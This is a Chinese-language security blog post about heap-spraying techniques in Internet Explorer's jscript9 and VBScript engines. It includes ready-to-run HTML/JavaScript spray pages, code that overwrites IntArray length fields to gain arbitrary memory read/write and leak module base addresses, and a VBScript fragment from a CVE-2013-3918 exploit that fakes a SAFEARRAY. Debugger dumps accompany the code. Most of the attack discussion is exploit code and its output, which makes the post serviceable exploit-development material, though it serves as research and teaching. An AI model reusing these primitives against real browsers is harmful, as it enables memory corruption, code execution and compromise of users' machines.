IE Array Object Heap Spraying

Array Object Heap Spraying

Jscript9中的Array对象是一个很有意思的东西,由于数组的便利性,我们可以用数组来做很多事情,比如修改数组长度来实现任意地址的读写、利用Array的vftable进行信息泄露等等。在CanSecWest 2014上ga1ois的讲题《The Art of Leaks – The Return of Heap Feng Shui》中提到了由于jscript9引擎中ArrayData的对齐问题,可以通过构造特定的Array来造成信息泄露。与IE9之前的jscript相比较而言,在jscript9中,一些对象不再由进程默认堆进行管理,而是由jscript9自己构造的Bucket Heap进行管理,其主要分配在IE的Custom Heap上,而Custom Heap这个堆上的对象管理机制更有利于进行Heap Spraying。另外,除了jscript9中的Array对象之外,vbscript中的Array也可以用来做很多事情,yuange在他的xp擂台赛版本中给出了完整的dve利用代码,让人深刻的体会到exploit的艺术。接下来,对这两个方面进行分别介绍。

1.       Jscript9Array Object Heap Spraying

首先,我们来分析jscript9中的Array Object Heap Spraying方法。对于jscript9而言,在不同的版本中(IE9-IE11)其内部的具体实现有着很大的不同,这里我们只讨论Array对象的处理部分,不具体讨论起处理细节(主要还没研究透彻-.-)。

Array & Int32Array

在《The Art of Leaks – The Return of Heap Feng Shui》一文中,其针对的主要是IE10和IE11这两版本,主要利用Array和Int32Array相结合的方式来进行Heap Spraying以及信息泄、任意地址读写等功能。

上面提到,在jscript9中ArrayData存在着对齐问题,而一些重要的对象都在IE的Custom Heap上进行管理,比如string对象、Array对象和typed array对象等。那么为什么在jscript9中存在着这些问题,而jscript中没有呢?主要由以下几点解决了jscript中对齐问题。

  • 所有的对象都在进程堆上进行操作,并且在每次分配的时候都进行了随机化处理
  • 一些大的对齐了的数据被切割成小块(0x204、02404、0x804、0x1004、0x2004、0x4004等),并且由ArrayDataList进行串接,同时,这些数据也是在进程堆上进行分配的。
  • 当多次分配相同大小的大内存块时,进程堆会插入随机大小的内存块,从而避免大的对齐堆块内存地址的线性增长问题。

而jscript9中之所以出现这种内存块地址对齐问题,主要是由于IE的custom heap上其ArrayData对象的内存分配并不是随机的,而是线性增长的,下面我们来具体分析一下其原因。下图是ArrayData内存分配时的栈回溯信息。

1:017> kc

 #

kernel32!VirtualAlloc

jscript9!Segment::Initialize

jscript9!PageAllocator::AllocPageSegment

jscript9!PageAllocator::AddPageSegment

jscript9!PageAllocator::SnailAllocPages

jscript9!PageAllocator::AllocPages

jscript9!PageAllocator::Alloc

jscript9!LargeHeapBucket::AddLargeHeapBlock

jscript9!Recycler::TryLargeAlloc

jscript9!Recycler::LargeAlloc

jscript9!Js::SparseArraySegment<void *>::Allocate

jscript9!Js::SparseArraySegment<void *>::AllocateSegment

jscript9!Js::JavascriptArray::AllocateHead<void *>

jscript9!Js::JavascriptArray::DirectSetItem_Full<void *>

jscript9!Js::JavascriptOperators::OP_SetElementI

jscript9!Js::JavascriptOperators::OP_SetElementI_Int32


我们进一步来分析jscript9!Segment::Initialize函数,其反汇编代码如下所示。
 

 1 bool __thiscall Segment::Initialize(Segment *this, unsigned __int32 a2)
 2 {
 3     Segment *PageSegment; // esi@1
 4     LPVOID v3; // eax@2
 5     bool result; // al@5
 6 
 7     PageSegment = this;
 8     if ( PageAllocator::RequestAlloc(*((PageAllocator **)this + 5), *((_DWORD *)this + 3) << 12) )
 9     {
10         v3 = VirtualAlloc(0, *((_DWORD *)PageSegment + 3) << 12, a2 | 0x2000, 4u);
11         *((_DWORD *)PageSegment + 2) = v3;
12         if ( v3
13       && !(unsigned __int8)(*(int (__stdcall **)(Segment *, char *))(**((_DWORD **)PageSegment + 5) + 4))(
14                              PageSegment,
15                              (char *)PageSegment + 4) )
16         {
17             VirtualFree(*((LPVOID *)PageSegment + 2), 0, 0x8000u);
18             *((_DWORD *)PageSegment + 2) = 0;
19         }
20     if ( !*((_DWORD *)PageSegment + 2) )
21         PageAllocator::ReportFailure(*((PageAllocator **)PageSegment + 5), *((_DWORD *)PageSegment + 3) << 12);
22     result = *((_DWORD *)PageSegment + 2) != 0;
23     }
24     else
25     {
26     result = 0;
27     }
28     return result;
29 }

 在上述代码中,我们可以看到其分配的大小为*((_DWORD *)PageSegment+3)<<12=0x20<<12=0x20000,在这里我们发现ArrayData由VirtualAlloc申请的内存并没有经过随机化处理,其地址是线性增长的,并且该地址直接由PageSegment结构保存,这样我们可以有效的利用这里特性来进行Heap Spraying。由此,我们可以使用以下代码进行Heap Spraying。

 1 var int32buf = 0x4;
 2 while(k < 0x400) //80M 
 3 { 
 4     heaparr[k] = new Array(0x3bf8); 
 5     for(var index = 0; index < 0x55; index++) 
 6     { 
 7         heaparr[k][index] = new Int32Array(int32buf); 
 8     } 
 9     k += 1; 
10 }

Array对象其结构如下所示。

 1 Struct Array_Head
 2 {
 3     void *p_vftable;
 4     DOWRD var_2;
 5     DOWRD var_3;
 6     DOWRD var_4;
 7     DOWRD size;              //item size
 8     void *pArrayData; //buffer address
 9    void *pArrayData;  //buffer address
10    DWORD var_8;
11 }

 

ArrayData对象的结构如下所示。

1 Struct ArrayData
2 {
3     DWORD var_1;
4     DOWRD size;            //item size
5     DOWRD size;            //buffer size
6     DWORD var_4;
7     DWORD data[size];     //data
8 }

Int32Array对象的结构如下所示。

 1 Struct Int32Array
 2 {
 3     void* pvftable;
 4     DOWRD var_2;
 5     DOWRD var_3;
 6     DOWRD var_4;
 7     DOWRD var_5;
 8     DOWRD var_6;
 9     DOWRD size;            //array size
10     void* pInt32ArrayData;     //Int32Arraydata
11     void* pArrayBuffer;   //Arraybuffer
12     DWORD var_10;
13     DWORD var_11;
14     DWORD var_12;
15 }

ArrayBuffer对象结构如下所示。

 1 Struct ArrayBuffer
 2 {
 3     void* pvftable;
 4     DOWRD var_2;
 5     DOWRD var_3;
 6     DOWRD var_4;
 7     void* pTypeArrayData;     //TypeArraydata
 8     DWORD size;                 //array bytes
 9     DWORD var_10;
10     DWORD var_11;
11 }

这样我们就可以利用Array和Int32Array来构造0x10000字节的数据来进行Heap Spraying,从而构造出如下的内存布局,进行信息泄露以及任意内存读写。

 

对于上述代码中,位于0xyyyyf000处的Int32Array对象如下所示。

 

这里,我们只需要修改Int32Array的size,就可以实现任意地址读写的功能,如下图所示。

 

在实际的调试过程中,会发现Int32Array中的ArrayBffer域是一个js::javascriptarrayBuffer的对象,其大小为0x20,也是在Custom Heap上进行内存分配,这样就造成了我们在Heap Spraying的时候有三个对象在Custom Heap上进行内存分配,这时有可能让我们所构造的0x10000内存布局被破坏,如下图所示。

 

通过进一步分析,发现Int32Array对象分配的内存和ArrayBuffer对象分配的内存在两个独立的page上,这样我们就可以进一步构造数据,缩小Array的size,使其减少0x1000字节也就是一页,同时我们用额外的ArrayBuffer来填充这一页,这样我们就可以构造出Array+ArrayBuffer+Int32Array的0x10000字节的数据来布局内存,如下图所示。

 

当然,在实际的应用中,其内存布局也有可能如下,这需要根据具体的环境来进行调整。

 

其代码如下图所示。

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 var a = new Array();
 7 for (var k=0;k<0x400;k++)
 8 {
 9     a[k] = new Array(0x37f8);
10     for (var i = 0; i< 0x55;i++)
11     {
12         a[k][i] = new Int32Array(0x4);
13     }
14     for(;i<0x55+0x2b;i++)
15     {
16         a[k][i]=new ArrayBuffer();
17     }
18     for(;i<0x37f8;i++)
19     {
20         a[k][i] = i;
21     }
22 }
23 alert('11');
24 </script>
25 </body>
26 </html>

这里提供的只是一种思路,当然还有其他方法来提高喷射的效率和成功率,对于多个对象的喷射可以有多种方法去解决这一问题,这里不再详述。当然,这种方法也并非一定要局限在ArrayData的对齐问题上来进行信息泄露,我们也可以直接利用Array或者Int32Array来进行Heap Spraying,只要方法得当,都是可行的。

 

补充,昨天和ga1ois交流之后,才知道他是如何进行Int32Array对象的控制的,感觉甚是巧妙。对于多个对象的喷射,我们需要做的是尽可能减少干扰对象的大小,保证每个block里存储的对象的一致性,这样才能够更好的控制内存布局。其具体做法是,让所有的Int32Array指向同一块ArrayBuffer和ArrayData,这样就去除了Int32Array申请时ArrayBuffer所带来的干扰,代码如下。

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 var x = new Array();
 7 var int32buffer = new ArrayBuffer(0x58);
 8 for(var i=0;i<0x400;i++)
 9 {
10     x[i] = new Array(0x3bf8);
11     for(var j=0;j<0x55;j++)
12     {
13         x[i][j] = new Int32Array(int32buffer);
14     }
15 }
16 alert('1');
17 </script>
18 </body>
19 </html>

通过这种方法,在测试的时候会发现其所有Int32Array中的ArrayBuffer和ArrayData是指向同一内存块的,如下图所示。

 

这样Array对象进行内存申请的时候,基本上都能够分配到0xyyyy0000地址处的0xf000字节内存块,而Int32Array对象则会分配到0xyyyyf000处。

IntArray

在Hitcon 2014上exp-sky提出了IntArray Heap Spraying的方法,这种方法相对于ga1ois提出的方法而言,其喷射的效率更高,并且更容易控制。下面我们来看一下这个IntArray Heap Spraying的方法,这里主要针对IE11下进行分析(IE10下略有区别)。

在上文中,讲到了jscript9中处理Array的时候存在对齐,这里我们可以利用这种方式进行喷射,其代码如下所示。

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 var x = new Array();
 7 for(var i=0;i<0x200;i++)
 8 {
 9     x[i] = new Array(0x3bf8);
10     for(var j=0;j<0x20;j++)
11     {
12         x[i][j] = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);
13     }
14 }
15 alert("123");
16 </script>
17 </body>
18 </html>

这样,我们可以看到Array Data的数据被喷射到0xyyyy0010处,如下图所示,其0xyyyy0000处的0x10字节主要用来对齐,其偏移0x4的数据表示Array对象Data部分所占的大小,这在前文中已经介绍过,这里不再赘述。

05850020 62b937c4 03255960 00000000 00000005

05850030 00003bf8 05860010 05860010 00000000

05850040 62b937c4 03255960 00000000 00000005

05850050 00003bf8 05870010 05870010 00000000

05850060 62b937c4 03255960 00000000 00000005

05850070 00003bf8 05880010 05880010 00000000

05850080 62b937c4 03255960 00000000 00000005

05850090 00003bf8 05890010 05890010 00000000

058500a0 62b937c4 03255960 00000000 00000005

058500b0 00003bf8 058a0010 058a0010 00000000

058500c0 62b937c4 03255960 00000000 00000005

058500d0 00003bf8 058b0010 058b0010 00000000

而在0xyyyyf000地址处接下来的0x1000字节主要用来存取IntArray对象,在这里我们可以看到0xyyyyf000处的被IntArray对象占据,如下图所示。

0586f000 62b92f54 03255920 00000000 00000005

0586f010 00000010 0586f028 0586f028 00000000

0586f020 00000002 03510940 00000000 00000010

0586f030 00000010 00000000 00000001 00000002

0586f040 00000003 00000004 00000005 00000006

0586f050 00000007 00000008 00000009 0000000a

0586f060 0000000b 0000000c 0000000d 0000000e

0586f070 0000000f 00000010 00000000 00000000

//

1:017> u 62b92f54

jscript9!Js::JavascriptNativeIntArray::`vftable':

下面,我们来看一下IntArray的一些结构信息和ArrayBuffer的一些结构信息。

 1 Struct Array_Head
 2 {
 3     void *p_vftable;
 4     DOWRD var_2;
 5     DOWRD var_3;
 6     DOWRD var_4;
 7     DOWRD size;              //item size
 8     DOWRD p_first_buffer; //buffer address
 9     DOWRD p_last_buffer;  //buffer address
10     DOWRD var_8;
11     DOWRD var_9;
12     DOWRD var_10;
13 }
14 
15 Struct ArrayBuffer
16 {
17     DWORD var_11;
18     DWORD size;                  //item size
19     DWORD buffer_size;         //buffer size
20     DWORD next_buffer;         //next buffer
21     DWORD data[buffer_size]; //data
22 }

具体信息如下图所示。

 

这样,在0xyyyyf000处保存着IntArray对象的pvftable,我们就可以以此来进行信息泄露。有了这个信息,我们还需要一个任意地址读写(Arbitrary Address Write/Read)来辅助我们的操作,而之前也说过,选用数组来进行操作,其好处就在于能够有效的实现任意地址读写功能。而要利用UAF漏洞实现这一功能,最关键的一步在于控制程序的流程,使其最终会走到如下的指令上:

inc [address]

OR

mov/add/or [address], reg/constant

这样的话,就可以对IntArray中的size进行操作,从而来扩大IntArray的访问范围。在0xyyyy0000处的接下来0x10000字节的布局如下图所示。

 

这样,我们可以操作0xyyyyf000处的IntArray的size区域,让其读的范围增大,如下图所示。

 

这样操作之后,就能够实现任意地址写(其实并不是任意地址写,而是相对于Array[0]地址之后的任意地址写操作,也即0x586f028之后的任意地址写操作),有了任意地址写之后,我们还需要能够进行读操作,来进行信息泄露。这里exp-sky给出了其方法,通过0xyyyyf000处的IntArray任意地址的写操作,我们可以修改相邻的0xyyyyf080地址处IntArray的Size,从而实现任意地址读写的功能,如下图所示。

 

具体操作如下代码所示:

 1 var flag = 1;
 2 for(var i=0;i<0x200 & flag;i++)
 3 {
 4     for(var j=0;j<0x1f;j++)
 5     {
 6         x[i][j][22] = 0x20000000;
 7         x[i][j][29] = 0x20000000;
 8         x[i][j][30] = 0x20000000;
 9         if(x[i][j+1].length = 0x20000000)
10         {
11             flag = 0;
12             var pvftable = x[i][j+1][18];
13             var jscript9_base_address = calcbaseaddress(pvftable);
14         }
15     }
16 }

操作后,内存如下所示。

 

这样,我们就能够获得jscript9的基地址以及ntdll的基地址。此外,我们还可以进一步定位shellcode,这里不再赘述。另外,我们也可以直接利用IntArray进行喷射,具体代码如下。

 1 var x = new Array();
 2 var size = 0x1000*0x100;
 3 for (var i = 0; i<size;i++)
 4 {
 5     x[i] = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);
 6 }
 7 for(var j=size-2;j>=0;j--)
 8 {
 9     x[j][22] = 0x20000000;
10     x[j][29] = 0x20000000;
11     x[j][30] = 0x20000000;
12     if([j+1].length = 0x20000000)
13     {
14         var pvftable = x[j+1][18];
15         var jscript9_base_address = calcbaseaddress(pvftable);
16     }
17 }

目前,jscript9中的Array Heap Spraying方法主要就是这些,下面我们再来分析一下vbscript下的Array Heap Spraying的方法,主要基于yuange的xp擂台赛dve版本exploit进行分析。

2.       VBScript中的Array Object Heap Spraying

在yuange的xp擂台赛cve-2013-3918的dve版本中,也是利用了Array对象来进行Heap Spraying,不过这种方法更为巧妙,这里我们只分析Array部分的操作。

在vbscript中,其数据都由一个统一的结构tagVARIANT来进行处理,下图只列出具体一部分,具体结构信息可查阅MSDN。

 1 struct __tagVARIANT{
 2 VARTYPE vt;
 3 WORD wReserved1;
 4 WORD wReserved2;
 5 WORD wReserved3;
 6 Union
 7 {
 8     LONGLONG IIVal;
 9     LONG IVal;
10     BYTE bVal;
11     SHORT iVal;
12         ……
13         SAFEARRAY *parray;
14         ……
15 } tagVARIANT;
16 
17 Typedef unsigned short VARTYPE;

其中一些重要的VARTYPE类型如下所示。

 1 enum VARENUM{
 2     VT_EMPTY = 0,
 3     VT_NULL = 1,
 4     VT_I2 = 2,
 5     VT_I4 = 3,
 6     VT_R4 = 4,
 7     VT_R8 = 5,
 8     VT_BSTR = 8,
 9     VT_VARIANT = 12,
10     ……
11     VT_VECTOR = 0x1000,
12     VT_ARRAY = 0x2000,
13     VT_BYREF = 0x4000,
14 };

另外,还有一个重要的结构SAFEARRAY,这个结构在很多场合都会用到,如下所示。

 1 typedef struct tagSAFEARRAY {
 2     USHORT cDims;   // The number of dimensions
 3     USHORT fFeatures; //flags
 4     ULONG cbElements; //The size of an array element.
 5     ULONG cLocks;
 6     PVOID pvData; //the data
 7     SAFEARRAYBOUND rgsabound[1]; //one bound for each dimension
 8 } SAFEARRAY;
 9 
10 const USHORT FADF_HAVEVARTYPE = 0x0080; /* array has a VT type */
11 const USHORT FADF_VARIANT = 0x0800; /* an array of VARIANTs */
12 
13 typedef struct tagSAFEARRAYBOUND {
14     ULONG cElements; //the number of elements in the dimension
15     LONG lLbound; //the lower bound of the dimension
16 } SAFEARRAYBOUND;

上面列出了vbscript中对variant变量的处理的一些重要的结构信息,具体含义这里不再详述,可以查阅MSDN。下面我们分析yuange的dve代码array heap spraying的部分。具体代码如下。

 1 dim a(300)
 2 dim num
 3 num = 200
 4 function Begin()
 5     On Error Resume Next
 6     dim i
 7     myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
 8     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
 9    mystr=chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
10     
11     For i=0 to num
12         a(i)= Array(0.0,0.0,myarray,0.0,9.52510864539202e-307) 
13 Next  
14 
15     For i=num-50 to num-10
16         a(i)=0
17 Next  
18 
19     For i=0 to 11
20         Req.add(CStr(i))
21 Next
22 
23     For i=num-50 to num+99
24         a(i)= Array(0.0,0.0,myarray,0.0,9.52510864539202e-307) 
25     Next  
26     
27     For i=Req.length to 0 step -1
28         Req.remove(CLng(i))
29     Next
30 
31     For i=-1  to -1000 step  -1  
32         Req.remove(CLng(i))
33         For j=num+99 to  0  step -1
34             if ( a(j)(4) <1.0e-307) Then 
35                 Req.add("a")
36                 Req.add("b")
37                 a(j)(4)=mystr 
38                 Req.remove(CLng(i-18)) 
39                 Req.remove(CLng(i-18))
40                 Req.add("c")
41                 Req.add("d")
42         
43                 a(j)(0)=0.0 
44                 a(j)(1)=1.74088534731324E-310 //0000200c`0000200c
45                 a(j)(3)=6.36598737437801E-314 //00000003`00000003
46         
47                 Req.remove(CLng(i-18))
48                 Req.remove(CLng(i-18))
49         
50                 add=a(j)(3)+16
51         
52         i=-1000
53         exit for 
54             End if
55         Next
56     Next 
57     
58     For i=Req.length to 0 
59         Req.add(Cstr(i))
60     Next
61 end function

首先,这里利用myarray字符串伪造成一个safearray对象,让其能够实现任意地址读写的功能,其内存数据如下所示。

 

但此时,myarray是一个字符串,如下图所示。

 

因此,要想实现任意地址读写的功能,将BSTR转换成SAFEARRAY对象来使用的话,首先必须要将这个字符串的标志位改成array & variant属性即0x200c,这样我们才能够实现这一功能。在此,yuange使用new array方法来进行heap spraying,并且调用CCardSpaceClaimCollection::Add来创建一个array对象,该array对象数据区初始大小为0x28,当数组大小超过目前大小时,它会进行扩充操作,使其内存大小翻一倍,即0x50字节,这样与new array时创建的数据区大小一致,从而让该段数据能够分配在new array数据区中间,这样便可以利用漏洞下溢的特性进行进一步操作。在利用new array来进行heap spraying的时候,利用浮点数9.52510864539202e-307来做签名标记,这样在漏洞利用的时候,可以定位数组的index,从而实现任意地址读写的功能。另外,这个浮点数也是yuange的签名,如下所示。

 

此后,在调用CCardSpaceClaimCollection::Remove函数时,其已经扩大的数据区进步会减少,而删掉其中的某一数据为0的元素后,后面的元素会自动向前填充。同时,这里由于存在下溢的漏洞,这里就可以进行移位操作。这里在remove(-3)之后,array对象的内存如下所示。

 

可以看到,0x029930ac地址处的0x0065676e数据已经被清0,之后,调用a(j)(4) <1.0e-307进行判断,从而确定被修改数组的index值。之后调用add将数据补齐,同时将mystr用来作为数据缓冲区,方便之后操作,如下图所示。

 

之后的两次remove进行错位操作,两次add进行填充操作,如下图所示。

 

之后,对数组元素进行重新赋值,方便之后的再错位操作,赋值之后内存数据如下所示。

 

这样,再调用两次remove操作之后,会将0x200c移动到标志位,如下图所示。

 

此时,原先的字符串myarray其属性已经转变成SAFEARRAY对象,可以利用myarray来进行任意地址读写操作,这里不再赘述。

 

总结,利用Array进行Heap Spraying其优势在于对于数组更易于控制,同时其修改的内容关键在于数组的大小和数组的属性。本质上来说,属性的修改是为了达到混淆对象的目的,其最终目的还是为了实现任意地址读写的功能。当然,除此以外,对于数组属性的修改也会更好地方便shellcode的调用等等。

 

引用

  1. 《The Art of Leaks — The Return of Heap Feng Shui》
  2. http://www.exp-sky.org/windows-81-ie-11-exploit.html
  3. http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/ A browser is only as strong as its weakest byte
  4. http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/ A browser is only as strong as its weakest byte – Part 2
  5. http://hi.baidu.com/yuange1975/item/c667f900cf0e2fc02e4c6bed xp dve exploit
  6. http://hi.baidu.com/xiyanggif/item/a386a123e1e6de92b73263ca
  7. http://hi.baidu.com/xiyanggif/item/cf6b147a860d4721d6a89c4c
  8. 《APT高级漏洞利用技术》
  9. http://msdn.microsoft.com/en-us/library/ms221482(v=vs.85).aspx SAFEARRAY
  10. http://msdn.microsoft.com/en-us/library/windows/desktop/ms221627(v=vs.85).aspx VARIANT
posted @ 2014-09-05 20:53  wal613  阅读(2129)  评论(6编辑  收藏  举报